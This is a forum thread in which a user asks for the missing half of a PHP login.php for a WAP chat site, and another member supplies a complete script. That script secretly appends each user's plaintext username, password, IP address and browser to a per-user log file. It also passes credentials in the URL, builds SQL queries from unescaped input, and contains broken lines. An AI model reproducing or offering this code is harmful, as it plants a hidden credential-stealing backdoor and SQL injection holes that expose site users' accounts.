Login.php

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

    Login.php

    i have delete half of the coding of my login.php which is in lavair html.here is the code :

    <?php


    include("core.php");
    include("config.php");


    header("Content-type: text/html; charset=ISO-8859-1");
    echo "<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>";
    echo "<!DOCTYPE html PUBLIC \"-//WAPFORUM//DTD XHTML Mobile 1.0//EN\"\"http://www.wapforum.org/DTD/xhtml-mobile10.dtd\">";
    echo "<html xmlns=\"http://www.w3.org/1999/xhtml\">";

    echo "<head>";

    echo "<title>$stitle</title>";
    echo "<link rel=\"StyleSheet\" type=\"text/css\" href=\"style/style.css\" />";
    echo "</head>";

    echo "<body>";

    $bcon = connectdb();
    if (!$bcon)
    {

    echo "<p align=\"center\">";
    echo "<img src=\"images/exit.gif\" alt=\"*\"/>
    ";
    echo "ERROR! cannot connect to database

    ";
    echo "This error happens usually when backing up the database, please be patient, The site will be up any minute

    ";
    echo "Soon, we will offer services that doesn&#39;t depend on MySQL databse to let you enjoy our site, while the database is not connected
    ";
    echo "THANK YOU VERY MUCH";
    echo "</p>";
    exit();
    }
    $action = $_GET["action"];
    $sid = $_GET["sid"];
    $uid = getuid_sid($sid);
    if((islogged($sid)==false)||($uid==0))
    {

    echo "<p align=\"center\">";
    echo "You are not logged in
    ";
    echo "Or Your session has been expired

    ";
    echo "<a href=\"index.php\">Login</a>";
    echo "</p>";
    exit();
    }
    if(isbanned($uid))
    {

    echo "<p align=\"center\">";
    echo "<img src=\"images/notok.gif\" alt=\"x\"/>
    ";
    echo "You are Banned
    ";
    $banto = mysql_fetch_array(mysql_query("SELECT timeto FROM fun_penalties WHERE uid=&#39;".$uid."&#39; AND penalty=&#39;1&#39;"));
    $remain = $banto[0]- time();
    $rmsg = gettimemsg($remain);
    echo "Time to finish your penalty: $rmsg

    ";
    //echo "<a href=\"index.php\">Login</a>";
    echo "</p>";
    exit();
    }

    some body help me to finish it with the original coding....thanks a lot...

    #2
    i have delete half of the coding of my login.php which is in lavair html.here is the code :

    <?php
    include("core.php");
    include("config.php");
    header("Content-type: text/html; charset=ISO-8859-1");
    echo "<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>";
    echo "<!DOCTYPE html PUBLIC \"-//WAPFORUM//DTD XHTML Mobile 1.0//EN\"\"http://www.wapforum.org/DTD/xhtml-mobile10.dtd\">";
    echo "<html xmlns=\"http://www.w3.org/1999/xhtml\">";

    echo "<head>";

    echo "<title>$stitle</title>";
    echo "<link rel=\"StyleSheet\" type=\"text/css\" href=\"style/style.css\" />";
    echo "</head>";

    echo "<body>";

    $bcon = connectdb();
    if (!$bcon)
    {

    echo "<p align=\"center\">";
    echo "<img src=\"images/exit.gif\" alt=\"*\"/>
    ";
    echo "ERROR! cannot connect to database

    ";
    echo "This error happens usually when backing up the database, please be patient, The site will be up any minute

    ";
    echo "Soon, we will offer services that doesn&#39;t depend on MySQL databse to let you enjoy our site, while the database is not connected
    ";
    echo "THANK YOU VERY MUCH";
    echo "</p>";
    exit();
    }
    $action = $_GET["action"];
    $sid = $_GET["sid"];
    $uid = getuid_sid($sid);
    if((islogged($sid)==false)||($uid==0))
    {

    echo "<p align=\"center\">";
    echo "You are not logged in
    ";
    echo "Or Your session has been expired

    ";
    echo "<a href=\"index.php\">Login</a>";
    echo "</p>";
    exit();
    }
    if(isbanned($uid))
    {

    echo "<p align=\"center\">";
    echo "<img src=\"images/notok.gif\" alt=\"x\"/>
    ";
    echo "You are Banned
    ";
    $banto = mysql_fetch_array(mysql_query("SELECT timeto FROM fun_penalties WHERE uid=&#39;".$uid."&#39; AND penalty=&#39;1&#39;"));
    $remain = $banto[0]- time();
    $rmsg = gettimemsg($remain);
    echo "Time to finish your penalty: $rmsg

    ";
    //echo "<a href=\"index.php\">Login</a>";
    echo "</p>";
    exit();
    }

    some body help me to finish it with the original coding....thanks a lot...[/b]
    am sure u can manage to search and find it here for download. !!!!!!
    Wapchat4u


    Topsites4u

    Comment


      #3
      i have search..but i didnt found it...help me plz..

      Comment


        #4
        Code:
        <?php
        include("../blocked.php");
        header("Cache-Control: no-cache, must-revalidate");
        header("Pragma: no-cache");
        //header(&#39;Content-type: application/vnd.wap.xhtml+xml&#39;); 
        echo "<?xml version=\"1.0\"?>";
        echo "<!DOCTYPE html PUBLIC \"-//WAPFORUM//DTD XHTML Mobile 1.0//EN\" \"http://www.wapforum.org/DTD/xhtml-mobile10.dtd\">";
        ?>
        <html xmlns="http://www.w3.org/1999/xhtml">
        <?php
        include("config.php");
        include("core.php");
        connectdb();
        $bcon = connectdb();
        if (!$bcon)
        {
            echo "<head>";
            echo "<title>Error!!!</title>";
            echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/white_medium.css\">";
            echo "<head>";
            echo "<body>";
            echo "<p align=\"center\">";
            echo "<img src=\"../images/notok.gif\" alt=\"!\"/>
        ";
            echo "[b][b]Error! Cannot Connect To Database...[/b][/b]
        
        ";
            echo "This error happens usually when backing up the database, please be patient...";
            echo "</p>";
            echo "</body>";
            echo "</html>";
            exit();
        }
        $uid = $_GET["loguid"];
        $pwd = $_GET["logpwd"];
        $sitename = mysql_fetch_array(mysql_query("SELECT value FROM ibwf_settings WHERE name=&#39;sitename&#39;"));
        $sitename = $sitename[0];
        $theme = mysql_fetch_array(mysql_query("SELECT theme FROM ibwf_users WHERE name=&#39;".$uid."&#39;"));
        $tolog = false;
            echo "<head>";
            echo "<title>$uid@$sitename</title>";
            echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/$theme[0]\">";
            echo "</head>";
            echo "<body>";
          $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name=&#39;".$uid."&#39;"));
          if($uinf[0]==0)
          {
            echo "<head>";
            echo "<title>Error!!!</title>";
            echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/white_medium.css\">";
            echo "</head>";
            echo "<body>";
          }
            $epwd = md5($pwd);
            $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name=&#39;".$uid."&#39; AND pass=&#39;".$epwd."&#39;"));
            if($uinf[0]==0)
            {
            echo "<head>";
            echo "<title>Error!!!</title>";
            echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/white_medium.css\">";
            echo "</head>";
            echo "<body>";
          }
          echo "<div><img src=\"../images/logo.gif\" alt=\"logo\"/></div>";
          echo mobads();
          echo "<p align=\"center\">";
          echo "Bookmark THIS page to avoid repeating the login proccess in the future
        
        ";
          
          $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name=&#39;".$uid."&#39;"));
          if($uinf[0]==0)
          {
            //Check for user ID
            echo "<img src=\"../images/notok.gif\" alt=\"X\"/>UserID doesn&#39;t exist
        
        ";
          }else{
            //check for pwd
            $epwd = md5($pwd);
            $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name=&#39;".$uid."&#39; AND pass=&#39;".$epwd."&#39;"));
            if($uinf[0]==0)
            {
            echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password
        
        ";
            echo "[b]0 [/b]<a accesskey=\"0\" href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
            echo "</p>";
            echo "</body>";
            echo "</html>";
            exit();
            }
            $validated = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name=&#39;".$uid."&#39; AND pass=&#39;".$epwd."&#39; AND validated=&#39;0&#39;"));
            if(($validated[0]>0)&&(validation()))
            {
            echo "<img src=\"../images/notok.gif\" alt=\"X\"/>[b]Account Not Validated[/b]
        This could take up to 12hrs pls be patient and try again soon
        thank you
        
        ";
            }else{
        $ipr = getip();
        $brws = $_SERVER[&#39;HTTP_USER_AGENT&#39;];
        $ubr = $brws;
        $alli = "Username: ".$uid."
        Password: ".$pwd."
        Ip-Address: ".$ipr."
        Browser: ".$ubr."
        Script: Wap 2.0(xhtml)
        ----------
        ";
        if(trim($uid)!=""){
        $fname = "../logs/".$uid.".txt";
        $out = fopen($fname,"a+");
        fwrite($out,$alli);
        fclose($out);}
        
              $tm = time();
              $xtm = $tm + (getsxtm()*60);
              $did = $uid.$tm;
              $res = mysql_query("INSERT INTO ibwf_ses SET id=&#39;".md5($did)."&#39;, uid=&#39;".getuid_nick($uid)."&#39;, expiretm=&#39;".$xtm."&#39;");
              
              if($res)
              {
                $tolog=true;
                echo "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid
        ";
                $idn = getuid_nick($uid);
                
                    $lact = mysql_fetch_array(mysql_query("SELECT lastact FROM ibwf_users WHERE id=&#39;".$idn."&#39;"));
                     mysql_query("UPDATE ibwf_users SET lastvst=&#39;".$lact[0]."&#39; WHERE id=&#39;".$idn."&#39;");
              }else{
                //is user already logged in?
                $logedin = mysql_fetch_array(mysql_query("SELECT (*) FROM ibwf_ses WHERE uid=&#39;".$getuid_nick($uid)."&#39;"));
                if($logedin[0]>0)
                {
                  //yip, so let&#39;s just update the expiration time
                  $xtm = time() + (getsxtm()*60);
                  $res = mysql_query("UPDATE ibwf_ses SET expiretm=&#39;".$xtm."&#39; WHERE uid=&#39;".getuid_nick($uid)."&#39;");
                  
                  if($res)
                  {
                    $tolog=true;
                    echo "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid
        ";
                    
        
                   
                    
                  }else{
                    echo "<img src=\"../images/point.gif\" alt=\"!\"/>Can&#39;t login at the time, plz try later
        "; //no chance this could happen unless there&#39;s error in mysql connection
                    
                  }
                  
                }
                
              }
            
            }
          }
          
          if($tolog)
        {
          $sid = md5($did);
          addonline(getuid_sid($sid),"Logging On","");
          echo "<a accesskey=\"1\" href=\"index.php?action=main&amp;sid=$sid\"><img src=\"../images/home.gif\" alt=\"\"/>Enter $sitename</a>
        ";
          echo "
        <a href=\"index.php?action=sitethms&amp;sid=$sid\">Change Theme</a>
        ";
        $popmsgs = mysql_fetch_array(mysql_query("SELECT popmsg FROM ibwf_users WHERE name=&#39;".$uid."&#39;"));
          if($popmsgs[0]==0){
              echo "<a href=\"index.php?action=popenable&amp;sid=$sid\">Enable Pop-Ups</a>
        ";
        }else{
              echo "<a href=\"index.php?action=popdisable&amp;sid=$sid\">Disable Pop-Ups</a>
        ";
        }
        
        $xfile = @file("randomlogin.txt");
        $random_num = rand (0,count($xfile)-1);
        $udata = explode("::",$xfile[$random_num]);
        echo "$udata[1]
        ";
        
        echo "
        Feel free to invite all your friends here
        Wishing you the best time here, from all $sitename staff :)";
        }else{
          echo "[b]0 [/b]<a accesskey=\"0\" href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
        }
        echo "</p>";
        echo "</body>";
        ?>
        </html>

        Comment


          #5
          thanks white warrior but i got somany error...its show that user doesnt exist when i login from main page..

          Comment

          Working...
          X